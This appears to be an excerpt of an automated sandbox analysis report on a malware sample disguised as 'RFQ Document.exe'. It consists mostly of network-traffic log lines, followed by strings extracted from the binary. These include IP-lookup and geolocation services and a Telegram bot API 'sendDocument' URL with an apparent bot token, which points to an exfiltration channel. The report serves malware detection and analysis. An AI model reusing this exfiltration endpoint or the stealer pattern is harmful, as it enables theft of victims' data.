Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50174
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50176
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50179
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50180
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50181
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 50159 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 50170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50137
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50136
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50140
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50149
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50141
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50143
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50146
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50145
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50148
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50147
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50151
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50150
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50153
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50152
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50155
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50157
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035

Source: RFQ Document.exe, 00000002.00000002.926600469.0000000002461000.00000004.00000001.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: RFQ Document.exe	String found in binary or memory: http://checkip.dyndns.org/
Source: RFQ Document.exe, 00000001.00000002.674264323.000000000E7D0000.00000004.00000001.sdmp, RFQ Document.exe, 00000002.00000001.671831085.0000000000414000.00000040.00020000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: RFQ Document.exe, 00000002.00000002.926172062.0000000000818000.00000004.00000020.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: RFQ Document.exe	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: RFQ Document.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: RFQ Document.exe	String found in binary or memory: http://schemas.m
Source: RFQ Document.exe, 00000002.00000002.926600469.0000000002461000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RFQ Document.exe, 00000002.00000003.861059471.0000000002A86000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram
Source: RFQ Document.exe, RFQ Document.exe, 00000002.00000001.671831085.0000000000414000.00000040.00020000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp, RFQ Document.exe, 00000002.00000003.861005087.0000000002A7A000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.org/bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664
Source: RFQ Document.exe, 00000002.00000002.926695160.00000000024D6000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.org41lX
Source: RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.orgD81l
Source: RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.orgD81l$T
Source: RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.orgD81l$U
Source: RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.orgD81l(
Source: RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.orgD81l4
Source: RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.orgD81lD
Source: RFQ Document.exe, 00000002.00000002.929106581.0000000005EFE000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.orgD81lDP
Source: RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.orgD81lL
Source: RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.orgD81lL-
Source: RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.orgD81lLH
Source: RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.orgD81lLc
Source: RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.orgD81lT
Source: RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.orgD81lT8
Source: RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.orgD81lT~
Source: RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.orgD81lda0
Source: RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.orgD81ldb
Source: RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.orgD81ll
Source: RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.orgD81lt
Source: RFQ Document.exe, RFQ Document.exe, 00000002.00000001.671831085.0000000000414000.00000040.00020000.sdmp	String found in binary or memory: https://freegeoip.app/xml/
